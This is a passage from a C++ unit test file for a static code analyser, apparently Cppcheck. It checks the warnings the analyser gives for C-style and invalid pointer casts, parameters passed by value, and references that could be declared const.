f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to 